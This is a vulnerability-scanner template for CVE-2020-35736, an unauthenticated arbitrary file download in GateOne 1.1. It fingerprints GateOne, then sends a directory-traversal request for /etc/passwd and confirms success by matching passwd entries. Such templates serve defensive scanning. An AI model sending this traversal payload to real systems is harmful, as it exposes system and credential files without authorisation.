CVE-2020-35736: GateOne Arbitrary File Download

id: CVE-2020-35736

info:
  name: GateOne Arbitrary File Download
  author: tangshoupu
  severity: high
  description: |-
    GateOne 1.1 allows arbitrary file download without authentication via /downloads/.. directory traversal because os.path.join is misused.
  reference:
    - https://www.tenable.com/security/research/tra-2020-57
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35736
  tags: cve,cve2020,gateone,filedownload
  created: 2023/06/23

rules:
  r0:
    request:
      method: GET
      path: /
      follow_redirects: true
    expression: response.status == 200 && response.body.bcontains(b"GateOne.init") && response.body.bcontains(b"href=\"/static/gateone.css\"")
  r1:
    request:
      method: GET
      path: /downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() && r1()